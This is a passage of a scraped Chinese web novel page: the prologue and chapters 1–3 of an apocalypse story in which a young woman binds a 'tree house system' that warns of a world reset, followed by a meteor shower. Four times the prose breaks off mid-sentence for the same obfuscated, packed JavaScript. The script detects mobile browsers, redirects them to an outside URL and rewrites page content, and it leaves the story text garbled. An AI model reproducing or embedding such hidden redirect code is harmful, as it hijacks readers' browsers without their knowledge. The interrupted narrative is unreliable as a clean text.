《末世，靠树屋又活一天》 1. 序章 放在床头柜上的闹钟响起来，时针、分针、秒钟全都指向穆叶设定的十二点。 新的一天开始了，也意味着世界重启的倒计时彻底清零。 穆叶快步走到窗下，目光扫视着外面世界，内心仍然抱有一丝侥幸，希望末世不会到来。 但是耳边像是被按下静音键的手机，和天边冒出的一点微红，都在提示她不对。 全都不对了。 “谢知白？谢知白，你听得见吗？” 毫无回音。 一点微红在数秒间变成了一片火红，天边烧起来了，裹挟着火焰的不明物质发出可以照亮整个大地的光芒，像是数不清的小太阳，砸破一个个云团，撕开雨幕，这一场盛大壮观的火流星雨，冲向这颗星球的每个角落。 身体里的血液像是凝固了一样，越来越强烈的心跳挤压着肺部让人无法呼吸，时间被放慢速倍，强光刺激出眼泪，穆叶强忍不适盯着这片流星雨，辨明了现在的情况。 是陨石，大大小小的陨石，被砸破的也不是什么云团，而是较小的陨石在下坠过程中解体汽化形成的烟雾。 末世的开始，居然不是系统告诉她的一夜极寒，而是一场毁天灭地的陨石雨。 在陨石落点附近的人，是必死的结局。 穆叶瞪大了眼睛，嗓音变得飘忽：“不！不行！系统你没说会有陨石雨，我爸妈还在云山，我保护不了他们怎么办！我要怎么办！” “谢知白！留在地下车库，听得见吗？别带他们上楼，留在地下车库躲起来……” 手机信号早在十二点闹钟响起的那一刻就丢失了，对面的谢知白不会听见她说的话。 穆叶明知是这样，发软的手指还是用力扣住手机，不管不顾朝对面大喊。 她以为会是极寒，给远在云山的爸妈买了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167129|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足够多的暖宝宝、睡袋、羽绒服，还有保温板，不计其数的速食肉类、面包、饼干、泡面，想着就算末世到来，这些东西也足够撑到她去把他俩接过来。 但现在情况不一样了，他们必须足够幸运，先从这场陨石雨中活下来。 穆叶腿软得快要滑坐在地上，又只能强撑着准备随时跑向卫生间里的传送门。 她如此后悔没亲自去把爸妈接过来。如果他们没有在陨石雨中活下来，那就算有树屋这个金手指，也没什么意义了。 “活下来，求求你们，一定要活下来……” 世界寻回失去的声音，高速坠落的陨石撕裂空气，伴随延迟的轰鸣声，身体变得紧绷，皮肤变得干燥，耳膜像是破裂了，根本听不真切。 穆叶被强光晃得头晕目眩，转身冲刺进卫生间时，恍惚想起那个晚上。 二十六天前，那个改变她命运的夜晚。 2. 第 1 章 庆阳县龙吉大酒店最大的宴会厅内。 “各位来宾，让我们放下手中的碗筷，用热烈的掌声欢迎新人入场。” 音响里适时响起热闹的婚庆歌曲，“手牵手，跟我一起走，创造幸福的生活……” 而台下新郎亲友区的一张桌上，正因为一包烟的去向争吵。 陈秀眉说：“赵大娘，你又不抽烟，拿那包烟也没用，还是给二叔装走吧。” “是啊，”周家柱的媳妇点头，伸手往赵晓秀衣服口袋里掏烟，“平常你要啥，我们乡里乡亲看你可怜都给你了，烟你也用不上，你说你拿了干嘛，就给大柱呗。” 赵晓秀重重喘出口气，拍掉她的手，“人家一桌给两包烟，大柱已经有一包抽了，另一包给我怎么了！” 穆叶坐在陈秀眉旁边，深深叹了口气。 坐在音响旁边已经很痛苦了，还要听这种没营养的争论，难道她很闲吗？ 恍惚间，她好像从许多杂音里听见了熟悉的恶魔低语，穆叶从头到脚的汗毛都竖起来了。 虽然自从答应绑定系统后，就没再听到过那个声音，但是这几天一直被系统不分昼夜、不看地点的魔音骚扰，已经让她神经衰弱，产生了真正的幻听。 没错，她被一个自称系统的家伙缠上了。 事情要从三天前说起。 - 二十四节气大雪的前一周，平津下了第一场雪。 今年全国各地降雨都不多，难得降雪，瑞雪兆丰年，所有人都为之开心。 穆叶一家就是在这时候接到了小尧村村长的电话，说她家久无人居住的老房子，外墙的墙角塌了一块，虽然没造成什么损失，但每天噼里啪啦往下掉石头碎屑，来往乡亲砸到谁都不好，叫他们尽快来处理一下。 不久后就是冬至，本来就有扫墓的习俗，加上穆叶的奶奶周羽萍在村里有个干孙子张升，过几天就要结婚了，还特意打来电话邀请她。 周羽萍恐高坐不了飞机，于是就安排穆叶过去，两手抓三件事，既要修房子，又要扫墓，还不能忘了去参加张升的婚礼。 穆叶叫周羽萍奶奶，但她们其实是外婆和外孙女的关系，正儿八经的爷爷奶奶在她小时候，就因为分家产的事和她家没来往了，现在住在大伯家里，一年到头都打不上一个电话。 周羽萍是从小照顾她的人，她的青春烦恼，无法对爸妈说出的话，都在奶奶这里有了回应。 她们不用外婆这个词，明明是最亲近的人，加个“外”字是什么意思呢？ 她有且只有这么一个奶奶。 穆叶当即就同意了奶奶的安排，收拾了五天的换洗衣物，在爸妈去云山忙生意的第二天，出发去小尧村。 早上八点半，穆叶拖着行李箱到门边换鞋。 周羽萍穿着一件驼色针织衫，手里拿着穆叶的围巾跟来。 “又丢三落四，外面可没有暖气，”周羽萍靠在鞋柜上说，“本来修房子这些事不该让你去的，只是云山那边工厂的问题更紧急，你爸妈都走不开。” 穆叶：“这倒没什么，我们小组最近刚刚跟完一个项目，也借这个机会给自己放个假，上次回去还是前年过春节，我都快忘记村里的样子了。” 周羽萍欣慰地笑笑，“那就好，你回去住这几天，顺带把家里那些电器检查一遍，有坏了的就叫李磊他爸来看看，等到过年，就不用提前回去准备了。” 穆叶答应着推门离开。 - 经过漫长的飞机和客运大巴，下午四点半，夕阳西下的时候，穆叶终于站在了小尧村村口的公交站。 冬日天黑时间提早了，这会儿不少人提着蔬菜水果，从集市中心往家去。 坐在八角亭里闲话家常的几个老太太也住着拐杖起身，互相道别，约好明天见。 穆叶拖着行李箱从她们身边经过时，听见其中一个问另一个：“你买这两根白萝卜多少钱？以往都是儿媳妇买菜，前两天我去集市里逛了逛，才发现菜价竟然那么贵，都怪今年这个天气啊……” 雨水少对收成的影响，穆叶在平津时，已经从各种市场的菜价里体会过了。 因此，在看见家后院里，那棵小时候和爷爷一起种的苹果树，结满了又大又红又水灵的苹果时，她才觉得非常意外。 一棵从种下到现在总共结了三次果的果树，在旱年冬天结出了成熟饱满的苹果，这好像是有点奇怪啊！ 她拿手机拍了张照，想发在家庭群里，但网络不好试了几次都不行，只能放弃。 盯着这些红彤彤的苹果看了片刻，她就想通了，找来梯子和两个竹篓，把树上的苹果全部摘下，送进厨房里储存。 或许这么多年，苹果树已经适应了这个环境呢？ 而且她依稀记得，小时候爷爷和她说过，小尧村附近有地方挖出了温泉，有地下水，所以虽然今年降雨量少，但对这一棵苹果树的影响，应该没那么大……吧。 晚饭吃了从机场买来的自热火锅和卤鸭货，鲜香麻辣的味道在嘴巴里过了一遍，又觉得需要吃点清爽解腻的。 穆叶收拾好餐食垃圾进厨房洗手，忽然瞥见台面上放着的苹果，没多想，拿了一颗洗干净往嘴巴里送。 诡异的事发生了。 随着清脆的“咔嚓”声响起，她耳旁响起一道机械感满满的声音。 【要绑定系统吗？】 “谁？” 耳朵有种被人贴着讲了话的不舒适感，穆叶一边揉着耳朵一边快步走出厨房，往客厅张望，心脏砰砰加速跳动。 难道是老房子常年累月没人住，进了贼？还是像前段时间流行的一个电影那样，有别的人住进了她家？ 说到底，穆叶也只是一个23岁的女生，正式工作都还没满两年，此时此刻心慌得不行，浑身冒着冷汗。 好在她面对这种情况反而表现得更加冷静，迅速打开家里所有的灯，一边和在回家路上挤地铁的同事顾萌萌视频，一边把所有房间每个角落检查了一遍。 “怎么样，没事吧？”顾萌萌在视频那头紧张地问。 穆叶长舒口气：“没事，估计是之前压力大幻听了。好不容易结束一个项目，我得好好休息，这工作都给我干出工伤来了！” 顾萌萌噗嗤笑了声，让她自己注意安全，有事再联系她，穆叶点头。 这肯定是幻听。 穆叶前段时间压力大，养成了听小说助眠的习惯，听的就都是这种系统文，肯定是她代入太深了。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167130|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情并不是这么简单，从吃下那个苹果后，她的“幻听”越来越严重。 第二天，她去陵园给爷爷扫墓，刚跪拜完就听见那道声音问：【要绑定系统吗？】 同样是四下无人的时候，地点一换感觉就不对了，她一向不相信鬼神之说，现在也怀疑自己是不是进入了什么鬼故事的开头。 下午她回村里，去集市上找可以砌砖修墙的师傅，刚用手机把塌掉部分的照片给师傅看完，要商量上门时间，就听见幽幽的：【要绑定系统吗？】 “您看明天……呃……” 师傅看见面前的女生像是吃了柠檬一样，眉毛眼睛鼻子挤在一起，以为是她拿不定主意，就建议道：“明早九点吧，天气晴干得快。” 穆叶屏蔽杂音，叹了口气说行。 再往后，买水果讲价、吃晚饭、洗澡泡沫糊满脸时…… 那声音出现的频率越来越高，穆叶也从一开始心脏乱跳，到变得麻木。 过分的是，那声音不光白天骚扰她，晚上也没放过，直接追进了梦里，算是彻底缠上她了。 回村第四天，也就是张升婚礼当天。 早晨，穆叶带着极大的怨念起床，蒸了两个冰冻奶黄包做早餐。 把剩下的奶黄包装进包装袋放回冰箱，她瞥见冷藏室里那些新鲜如初的苹果，没睡好的疲惫感忽然像潮水涌上来。 她冷哼一声，拿出一颗大卸八块，加入自己的早餐里。 正吃着，耳边不适的感觉又出现了：【要绑定系统吗？】 “绑，”穆叶放下手里的包子，深吸一口气，“绑吧，现在就绑。” 想通了。 认命了。 不管是什么系统，哪怕要她一天花完一百万不然就会死，或是攻略究极难度帅哥拿下他的心，再或是假装受人尊敬的大师到处抓鬼…… 都行，都来吧，她再也不想做一整夜被一群人追着问绑不绑系统的梦了！ 【真的吗？】 系统说出了第一句绑不绑以外的话。 穆叶挑眉：“我骗你干嘛？你绑不绑，不绑以后都不准再烦我了！” 沉寂了片刻，穆叶差点觉得这不明物体放弃了，眼前却突然出现了一个虚拟屏幕，是一张只有轮廓的庆阳县地图，上面标记了一大一小两个点，小的是穆叶所在的小尧村，那大的是什么？ 眼看大的标记点闪烁了两下，耳边响起机械音：【请前往系统本体所在地点进行绑定。】 穆叶：？ 她怎么记得是它求着她绑定，现在怎么变成她主动去找它绑定了？ 穆叶愣了一秒，微微侧目看着这张地图，沉默着不说话。 【你答应了的。】 穆叶有点尴尬，心里的想法被看出来了。她确实非常好奇，但要自己去找系统也太麻烦了，不过现在说算了也不行了吧…… “知道了知道了，我答应的事我肯定做。刚好晚上要去县城里参加婚礼，吃完饭就去行吗？” 穆叶两口吞下最后的包子，匆匆忙忙起身收拾餐盘，来到厨房忙碌地洗着唯二的餐具。 水流声哗哗响着，忽然她抬头：“忘了问，你还没说过你是什么系统呢。” 【我是树屋系统。】 3. 第 2 章 重启倒计时 26 八点不到，酒席就结束了。 冬季的风吹得脸刺疼，穆叶理了理围巾，转头看向后面的陈秀眉。 “秀眉姐，我就不和你们一起了，我去超市买点东西，一会儿自己打车回去。” 小尧村的交通不太便利。有一趟长途大巴单程路过小尧村，往返的只有一路每天两趟的公交车，网约车也很少跑这边，家里有用车需求的都自己买了车，在小尧村基本接不到单。 张升在县城里办婚礼，为了把小尧村的七大姑八大姨、二舅姥爷等等全叫上，特意叫了辆大巴车接送他们往返，穆叶就是蹭大巴车来的。 陈秀眉提着赵晓秀装走的两大袋瓜子，闻言看她：“你自己能行吗，要不要我陪你去？” 穆叶连忙拒绝：“不用不用，去超市我一个人能行。” 陈秀眉：“那好，你自己小心——” “——瞎操心，”赵晓秀皱着眉拽她袖子，“人家是平津回来的城里人，要你个乡下人教她呀。倒是我们再不上车，一会儿就只能坐最后了，我会晕车，我可坐不了！” 说完，赵晓秀自己往大巴车方向走去。 陈秀眉无奈地对穆叶笑笑，说赵大娘就那样，让她别往心里去，随后也跟着上车了。 穆叶听说过赵晓秀的事，老公和别的女人跑了，儿子游野泳溺水死了，确实是个可怜人，没必要和她计较什么。 她摇摇头，拿出手机打车前往县图书馆。 - 县图书馆是穆叶通过对比手机地图，得到的系统本体对应在现实世界里的地点。 她在县图书馆门口下车，眼前那张庆阳县地图也跟着放大，大小两个圆点靠得很近，但还是有段距离。 看这个方位……只能是大树公园了。 大树公园建于二十多年前，地标就是公园正中的一颗参天红杉树，在庆阳县还不叫这个名字时，这棵树就在这里了，这么多年看着周边平房变成高楼大厦，见证了整个庆阳县的发展。 随着靠近公园中心的红杉树，地图上的两个点也渐渐重合在一起。 穆叶伸手摸着粗糙的树皮，耳边响起新的提示音： 【请问是否要绑定树屋系统？】 “绑定吧，”穆叶绕着树干走了一圈，好奇地打量着，“我到要看看你这个系统是怎么回事。” 【开始绑定……】 【30%……55%……82%……99%……】 【恭喜宿主成功绑定树屋系统，请查收道具：碧叶吊坠。】 眼前虚拟屏幕上的地图化作破碎的粒子消失，一个全新的操作面板出现。 面板上一共有四个图标，平均分布在左右两侧。 左侧两个图标的图案分别是一辆购物车和一根穿过虚线方框的直线，右侧的两个图标则是一只眼睛和一个信封。 信封图标上有个红点提示。 穆叶刚出现“点进去看看”的念头，屏幕就切换到了信封图标代表的【邮箱】页面。 【未读邮件1：您有一份道具待领取。】 她打开邮件，把目光放在那个领取的按钮上，随即就感觉羽绒服口袋里多了点东西。 是一条挂着树叶形状的玉石吊坠的项链，玉石被月光穿过，散发着萤萤微光。 屏幕上跳出提示：【请佩戴碧叶吊坠，完成绑定。】 穆叶依言把吊坠戴上，瞬间感觉吊坠和心脏长在了一起，吊坠里蕴含着庞大又神秘的力量，和她每一丝每一缕地链接在一起。 绑定结束后，吊坠的存在感微乎其微，只有伸手去摸，才能感觉到还在。 同时，吊坠使用说明也浮现在她眼前。 【功能一：作为随身储物空间，可实现随时存取，空间内物品智能堆叠，并可单向将物品转移至树屋内，单向转移功能不受地理距离限制。】 【功能二：作为树屋传送门钥匙，能够在任意平面打开一扇连接树屋的传送门，树屋居民及系统登记者可自由通过。宿主不通过传送门也能随时回到树屋，将在原地留下临时标记，可从树屋回到临时标记点。该功能在一定范围内有效。】 吊坠的两个功能分别写着“单向转移”和“一定范围”，看似限制很大，实则很互补。 物品单向转移到树屋里，需要取用时，就传送回树屋拿，这样空间就能一直保持未满状态，可以随时收入别的东西。 不过“一定范围”是多远，还需要找时间验证一下。 【是否开始碧叶吊坠功能教学？】 穆叶点头：“是。” 在系统的指引下，她把随身的帆布包成功放进了空间。 惊奇之余，正准备看看空间里是什么样，就得知空间无法内视，想知道里面还有多少空间可用，就只能观察屏幕上显示出的数字。现在是【剩余容量：100%】，可见一个小小的帆布包并没有占多少空间。 这还挺麻烦的，要是她自己忘了往空间放过什么，那放进去的东西不就一件都拿不出来了吗？ 穆叶皱眉，继续跟着指引把帆布包转移进树屋。 体验第二个功能前，系统让她自己选择一个平面。 穆叶原本想选择围着红杉树的大花坛侧面，但心里有种感觉告诉她不对。最后，她在公园广场上的女卫生间的最大隔间里，忍受着难闻的气味设置了传送门。 传送门出现的瞬间，穆叶感到庆幸——还好选了一个监控看不到的位置。 这门居然是可见的，形状跟家里卧室门一模一样，没有任何切割痕迹的木纹，以及暗金色门把手，彰显着它的不同寻常。 一点都不隐蔽，谁都能看见吗！ 穆叶列开嘴吸了口凉气，倒退一步打量，刚才要是在外面设置传送门，恐怕明天她就要被人送进实验室研究了。 【吊坠功能教学结束，请宿主前往树屋。】 传送门“咔嗒”一声，打开了一条缝。门缝里有光在闪烁，像是在催促她进去。 穆叶迟疑了一下，缓缓握住门把手推开，展现在眼前的，是一个不算大但非常高的房间。 房间大约有普通小区房的两层高，天花板上有零碎分布的、像星星一样闪烁的灯，整个房间都是浅棕色的，形状类似长方体，空气里还飘着淡淡的草木香，真的像是……木头。 对，这个房间就像被掏空了枝干的一颗树！ 里面除了正中的地上，躺着她刚刚转移进来的帆布包，就别无他物了。 穆叶迈开腿，缓缓走进去，身后的门“砰”一声关上，吓得她立刻转头查看。 “喂，关门做什么……” 她的声音在偌大且空旷的房间里产生了回音，确认安全后，她才回过头。 【恭喜宿主绑定树屋系统，获得新手礼包一份，请前往邮箱领取。】 【恭喜宿主完成“访问树屋”任务，解锁地下室。】 随着屏幕上的字迹变淡，地面靠近墙脚的位置，出现了一个长方形的入口，穆叶走近一看，是一条延伸到地下的楼梯。 这应该就是地下室入口了。 她回头看了眼全封闭的房间，扶着墙壁缓缓走下楼梯。 地下室相比地上的房间，除了高度只有一半，其他并没有什么区别。 上下两个空间，只有传送门这一个出口，也没窗户，但是在里面却并不觉得闷或是压抑。 穆叶停在原地，目光依次扫过质感像木头却不是木头的墙壁、丝滑连接两个墙壁的倒角，还有被向下的楼梯分割出来的那块空间。 片刻后，她歪了歪头返回楼上。 但就这上下楼一趟的功夫，树屋里又有了别的变化：有一台平板电脑静静躺在她的帆布包旁边。 穆叶走过去捡起来，粗略一看，感觉这似乎是她眼前虚拟操作面板的实物，但再细看，功能又很不同。 相同的只有【商城】。 【商城】就是那个购物车图标，里面有五个类目的商品栏，其中四个分别对应“衣食住行”，最后一栏的图案是个计时器，暂时摸不清是什么意思。 另外四个不同的图标，分别是一棵树、一个星星、一个人形图案和一座房子。 一棵树图标对应【基础信息】。 【树屋（一级）】 【单层面积：42.3m2】 【室温：19℃】 【距离下一次升级：0/5000？？？】 【月度消耗：0？？？】 【树灵庇护：生效中】 【随身空间规格：25m2x3m】 基本情况透露出几点信息：树屋可以升级、室内温度高于室外、以及使用树屋需要支付某种东西。 但穆叶想不到需要支付的东西是什么，以及正在生效的“树灵庇护”又是什么？ 星星图标对应【树形图】，还未解锁，无法得知里面的内容。 人形图标对应【居民管理】，点进去只有穆叶一个人，在她名字旁边挂着“宿主”两个字，转行写着“状态值：86”，其中数字的颜色区别与其他，是绿色的。 最后是【仓库】，里面类似于商城，全是储物的格子，现在都是空置状态。这和随身空间的区别是什么，穆叶有些区分不了。 从树屋系统整体看，各项功能满足着居住和生活的需求，但系统绑定她的目的是什么，却无法推测出确切答案。 关键应该在于被隐藏起来的信息里，需要满足某种条件才能解锁。 这个问题不是一时半刻能搞清楚的，穆叶看了眼手表，时针已经靠近10点。 庆阳县比较小，夜生活并不丰富，夜晚打车难度加倍，如果再不离开，恐怕今晚她只能留宿树屋了。 决定明天再来，穆叶试图放下平板拎包离开，屏幕上忽然跳出的一条提示，阻止了她的动作。 红色的。 【系统已绑定，提示已送达。距离世界重启还剩26天（不足），请宿主着手准备。】 - 11点18分，白色网约车开进小巷，停在穆叶家门前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167131|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一回到家，穆叶鞋都没来得及换，直冲二楼卧室，拉上窗帘，在卫生间的一面墙上重复在大树公园的操作，传送门果然设置成功了。 穆叶的心死了一大半。 系统的事，果然不是做梦啊！ 她面无表情推门进入树屋，取回放在树屋里的帆布包，然后重重关上传送门，回到卧室在床上躺下来。 刚刚在树屋里，她得到世界重启的提示后，第一反应就是询问系统这是什么意思。 但是系统没有回复，即便看着她在树屋里上蹿下跳、抓耳挠腮，还是不愿为她解答疑惑。 是的，不愿。 穆叶坚信系统有模拟人类思维的设计，且能够自主与她对话，并非只是程序性的存在。 这一点，从它知道怎么软磨硬泡让她答应绑系统，以及在听说需要她自己去找树屋本体绑定时，它拆穿了她想反悔的意图就能看出来。 说实话，直到重启提示出现前，穆叶一直处于矛盾的状态里。 因为系统的出现打破了她以往的生活。她本来只计划在小尧村待六天，要是多了个只能留在小尧村的系统，难免她今后会经常在平津和庆阳往返。 但这可是系统啊，能居住能购物，或许还有其他功能，别人都没有只她有，虽然有不少说不清的麻烦，但她心中也有些窃喜，自己成为了被选中的人。 而重启提示则把她投入了巨大的迷茫和不安里。 系统并非无害的命运礼物。 世界会怎么样？ 人类会怎么样？ 拥有系统的她会怎么样？ 更甚至，系统带来的只是灾难的消息，而不是灾难本身吗？ 想知道答案，首要还是探明一个问题：什么是重启？ 系统不愿沟通，从它这里得不到更多有用的信息，穆叶决定还是靠自己。 起身来到桌前，上面放着笔记本电脑和平板，穆叶点亮电脑，拖来椅子坐下，打开网页在搜索栏输入“世界重启”。 在浏览了几十条搜索结果后，她从中提炼出了几种重启的主流说法： 一是灵气复苏。 灵气复苏一直是近几年的热词，每每有科学解释不了的现象，一致被网友归为灵气复苏的预兆。如果26天，不，严谨一些是25天零16分后，蓝星灵气复苏了，那人的生存生活方式会发生翻天覆地的变化，这确实称得上是“重启”。 二是外星文明入侵。 上世纪开始，就有人目睹过飞碟出现，没人能断言外星文明不存在。以蓝星的情况，人与人之间缺少信任，地区之间发展极不平衡，生态环境脆弱，要是哪天外星人坐飞碟降临，恐怕这颗星球立刻就改天换地了。 第三种情况，是穆叶最不愿想，但考虑到树屋功能却是最有可能的一种。 天灾。 山崩、地震、海啸、龙卷风…… 随便一个，对人类世界都是极大的打击，如果全球多处同时发生，恐怕没多少人能存活下来。 天灾降临，一个温度适宜的居所，将会成为他们一家人在末世生存的最大底牌，而满足衣食住需求的商城，会决定他们活得怎么样。 这好像全对了。 穆叶啃着指甲，电脑的白光照亮她神情凝重的脸。 有了大致方向，搜索关键词就变得更加具体了，“环境恶化”、“气候异常”、“地震频率”等等，结果显示除了全球大部分地区干旱，其他看似异常的气候环境变化，都属于蓝星相对特殊却规律的现象。 她切换到社媒平台，点进刚刚关注的求生博主主页，在一个点赞量很高的讨论帖里，看见不少网友对博主的观点有异议，发言和回复有三千多条。 或许她也能通过这种方式，让网友帮忙确定猜想。 不是会有那种事吗，真帖子混在一堆假消息里，就不会让人觉得奇怪。 于是她编辑了一条新帖子，“假如世界重启，最有可能发生什么”，点击发送却一直显示发送失败。 看来不能说重启。 那改成“世界末日有什么依据”、“世界末日前准备什么物资”，还有“世界末日最危险的情况”这些呢？ 还是不行。 十多条发送失败的提示，让穆叶明白过来，不是不许提某个词，而是世界重启的这个认知是禁止出现的，更不可能让别人知道。 同理，她也无法对爸妈和奶奶说出重启的事，所有决策要承担的责任，就得一个人扛了。 如果末日是真的，那她必须立刻行动起来，准备充足的物资，摸清树屋功能，打造一个可供他们一家人在天灾后生存的安全屋。 可如果不是真的呢？ 那她所做的一切会白费，大量购买物资将会掏空家底，末日的消息将会扰乱家人的生活，给他们制造不必要的恐慌…… 她应该相信系统吗？ 时间过了零点，穆叶的目光扫到虚拟面板的倒计时上。 鲜红的26跳为25。 4. 第 3 章 “主管，房子的问题比想象严重，处理不好我也不敢离开，我想再请几天假。” “那有点不好办，你知道的，公司原则上不允许连休八天以上，这回已经给你顶格批假了。” 穆叶翻了个白眼，“所以我想把今年剩下的三天病假用了，请病假应该就不违反规定了吧？” 她一年只有五天病假，七月份因为误食过期食品，拉了两天肚子无奈请假，本来剩下三天如果不用的话，翻过元旦能拿到折抵的补贴金，但现在都泡汤了。 好说歹说，她的主管才同意她继续请假。 室内飘着一股咖啡味，是她冲好放在餐桌上的速溶榛子拿铁，旁边餐盘里有两片煎好的午餐肉和一个煎蛋。 穆叶揉了揉额角，缓解过度思考导致失眠带来的眼睛胀痛。 她坐回餐桌前继续吃早餐，一旁的电脑上，是她用建模软件做的树屋装修图，就像买房装修装修公司给的效果图那样，只是非常粗糙。 是的，她决定装修树屋了。 这是她彻夜思考，在性命堪忧和掏空家底中找到的折中做法。 ——先把树屋装修好，摸清各项功能用途，囤少量物资，然后保持观望。 假如观察到天灾的迹象，树屋内已经万事俱备，就只需要集中精力去大量囤货，要是天灾没来，那白得一个树屋，她也有办法挽回损失。 穆叶是第一次用建模软件，太细节的东西做不了，但大概能把整个房子的结构设计出来。 树屋面积虽然只有42.3平，但是一楼纵向的空间很充足，其实可以分隔成两层使用。 有句话叫“向高度要空间”，这也是为了满足囤货需求。毕竟重启后的混乱不知道会持续多久，仅靠地下室和随身空间，恐怕没法存储一家人量的物资。 而她之所以认定系统可以实现她的构想，是因为在昨晚失眠的那段时间里，她点开邮箱查收了新手礼包。 新手礼包的东西不多，包括一次【免费布局调整】、十个【通电插头】、三个【出水口】和十个【一级良田】。 穆叶暂时没管良田，都说是田了，肯定是用来种的呗。 插头和出水口很好理解，就是树屋提供水电的方式。 【免费布局调整】则比较奇妙，功能说明的原文是：获得一次不限材料和用量的全屋免费布局调整。衣帽间或是浴室，大胆发挥你的装修才能吧！ 所以可以把一楼隔成两层，楼下的主要功能是生活，至少要有厨房、卫生间和沙发休闲区域。 楼上主要是休息，可以沿着墙摆一排柜子，用来收纳四季的衣服和被子，再买三张床放进去，床之间用帘子隔开，爸妈、奶奶、还有自己就都有隐私空间。 至于地下室，楼梯下的空间可以单独分隔成工具房，其他地方用高到天花板的货架放满，不需要任何多余装修，就能放下最多的东西了。 穆叶露出满意的笑，操纵着鼠标，像拉粘土一样，在分隔后的一楼转角拉出卫生间的墙。 - 屋外，李明钟拿着刚到货的洗衣机进水阀，来到穆叶家门口。 “小叶子，配件到了，我来给你修洗衣机，快来开开门。” 等了片刻，房子的门打开了，穿着白色羽绒服的穆叶一路小跑，给李明钟开了院门，带他进去。 李明钟昨天就来过，看了微波炉和洗衣机，但因为洗衣机缺少配件没修成，就又约了今天上门。 他走到厨房里间的洗衣房，把洗衣机搬出来背朝外放好，蹲下从工具箱里拿出手电筒和扳手，下了螺丝拆开后盖，把旧的进水阀摘下来。 李明钟看着坏掉的进水阀，语气里有些遗憾：“你家的电器都是大品牌，本来要是经常用，也不至于每次回来都修，好好的电器都是放坏的！” “是，”穆叶揉了揉眼睛，笑着回答，“没办法，我们常住平津，除了回来过年，真的用不了这些家电，总不能搬去平津吧，这多费劲？” 李明钟叹了口气，“也是这个道理，就是可惜了这些家电，买的时候都不便宜，还没用几次零件就到处换了个遍，无缘无故损失了好多钱。” 穆叶：“每回我们来过年都用上了，不亏，李叔您忙着，我给您倒杯热水去。” 穆叶起身到客厅按下水壶烧水键，到桌边拿起眼药水滴了滴，闭着眼睛缓解干涩感。 今年是第三次回小尧村过年了。 九年前爷爷离世后，奶奶在爸妈强烈要求下搬出了小尧村，去云山和他们一起生活。 但是奶奶放不下这个和爷爷一起生活几十年的家，为了让她安心留在云山，一向孝顺的妈妈提议往后隔年就回小尧村过春节。 计划没有变化快，一年不到，穆诚的窗帘生意重心就转向了北方，于是他们决定举家搬到平津去。 奶奶开始是不愿的，觉得自己过去既帮不上忙，还要麻烦子女照顾，就想回小尧村。 爸爸听说后，找奶奶借了二十万买房，主动提出在房本户主那栏写上奶奶的名字。 虽然没钱也是真的，但他本来就有贷款，多20万也不多。 之所以这么做，就是为了顺理成章提出让她当户主，让奶奶在这个家有归属感。 奶奶知道平津房子的价值，被他们的诚心感动了，这才答应去平津。 初到平津那两年，穆诚和杨静芮忙生意，就没回小尧村。 后来生活进入正轨，他们也没有忘记承诺，于是每两年都会带恐高的周羽萍开三天车回来过节。 想到每次回来，不是找李叔修这个，就是修那个，穆叶嘴角扬了扬。 - 没多久，李明钟就把洗衣机修好了。 他问穆叶坏掉的进水阀怎么处理，穆叶表示自己用不上，他拿去有用的话就送给他了。 李明钟：“你家这个洗衣机质量好，今年才第一次修，这回换了新的进水阀，再撑个四五年也没问题。离过年还有段时间，有啥问题你再联系我。” 穆叶：“谢谢李叔，我送您出去。” 把李明钟送走，穆叶回来扫了扫地，再把洗衣机擦干净，收进空间里。 接着她上二楼，通过传送门进入树屋，把洗衣机从空间里取了出来。 布局调整只能决定哪里是柜子，哪里是墙，要在树屋里放什么家具电器，得自己准备。 她不是没想过买新的，但现在不确定重启是真是假，最好能花小钱办大事。 这台洗衣机就修过一次，质量很好，所以她才有试试的想法。 穆叶放好洗衣机，刚想寻找个合适的位置，眼前就跳出系统消息。 【检测到家电：洗衣机，开始鉴定……】 【鉴定等级：中等，不满足品级要求。】 接着，传送门“砰”一声弹开，洗衣机直接被移送到门外了。 目睹了一切的穆叶，张大嘴巴不知道该怎么反应。 这是什么情况？ 冷静下来思考了会儿，她又尝试了一次，这次还是一样的结果。 她的目光锁定在系统消息的一个词上：品级要求。 什么品级要求，没人说过呀！ 字面上看，应该是进入树屋的物品需要满足一定的品级要求，起码中等的洗衣机不行。 穆叶走出树屋，把家里上下两层楼大大小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 